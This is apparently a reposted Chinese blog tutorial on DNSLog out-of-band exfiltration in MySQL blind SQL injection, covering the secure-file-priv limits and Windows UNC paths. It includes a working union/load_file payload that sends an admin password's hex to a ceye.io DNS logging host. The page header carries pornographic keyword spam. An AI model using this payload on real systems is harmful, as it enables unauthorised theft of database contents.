日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

dnslog在mysql在linux_DNSLog在MySQL注入中的实战

發布時間:2024/10/8 数据库 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 dnslog在mysql在linux_DNSLog在MySQL注入中的实战 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

關于DNSlog在Web攻擊的利用

簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候可以通過DNSlog這種方式把想獲得的數據外帶出來。

常用在哪些情況下SQL注入中的盲注

無回顯的命令執行

無回顯的SSRF

DNSlog攻擊的基本原理

作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS日志,就得到了想要的值。所以我們需要有一個自己的域名,然后再域名商處配置一條NS記錄,然后我們在NS服務器上獲取DNS日志即可。

DNSLOG在MySQL數據庫中SQL注入的實戰

本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環境有一個test_user表,三個字段id、user、pass。如下iduserpass1adminadmin123

最后就不再自己搭建一個DNS服務器了,直接用ceye.io這個平臺,這個平臺就集成了Dnslog的功能。

需要條件MySQL開啟load_file()

DNSLog平臺(hyuga、CEYE)

Windows平臺

Mysql服務端文件讀寫

條件:服務端配置可讀寫目錄和正確的用戶權限。

安全保護

mysql服務端的文件讀取有很多的條件限制,主要是mysql數據庫的配置,為了安全原因,當讀取位于服務器上的文本文件時,文件必須處于數據庫目錄可被所有人讀取。你可以通過執行show variables like '%secure%'來查看。

secure-file-priv參數是用來限制LOAD DATA,SELECT ... OUTFILE,DUMPFILE和LOAD_FILE()可以操作的文件夾。

secure-file-priv的值可以分為三種情況:secure-file-priv的值為null,表示顯示mysqld不允許導入|導出

secure-file-priv的值為/tmp/,表示限制mysqld的導入|導出只能發生在/tmp/目錄下,此時如果讀寫發生在其他文件夾中,就會報錯

當secure-file-priv的值沒有具體值,表示不對mysqld的導入|導出做限制。

除此之外,讀取或寫入文件必須擁有可操作的用戶權限否則會報錯。

ERROR 1045 (28000): Access denied for user

讀取文件SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;create database test;

create table test (id TEXT, content TEXT);

load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';

寫入文件select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaaa";

load_file

MySQL應該是在實戰中利用DNSLOG最多的。

在MySQL中,有一個load_file函數可以用來讀取本地的文件。

http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(concat('\\\\',(SELECT hex(pass) FROM test.test_user WHERE user='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\\abc'))

可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多時候數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做DNS查詢的,因為域名有一定的規范,有些特殊符號是不能帶入的。

注意:load_file函數再Linux下是無法用來做DNSLOG攻擊的,因為這里就涉及到Windows的UNC路徑。

UNC路徑

百度的UNC路徑的解釋

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。

其實我們平常在Windows中用共享文件的時候就會用到這種網絡地址的形式

\\sss.xxx\test\

這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個\就變成了2個\,目的就是利用UNC路徑。

因為Linux沒有UNC路徑這個東西,所以當MySQL處理Linux系統中的時候,是不能用這種方式外帶數據的。

總結有些函數的使用受操作系統的限制

DNS查詢有長度限制,所以必要的時候需要對查詢結果做字符串的切割

避免一些特殊符號的產生,最好的選擇就是數據先編碼再帶出

注意不同的數據庫的語法是有差異的,特別是在數據庫拼接的時候

有些操作是需要較高權限的

參考文獻:

總結

以上是生活随笔為你收集整理的dnslog在mysql在linux_DNSLog在MySQL注入中的实战的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。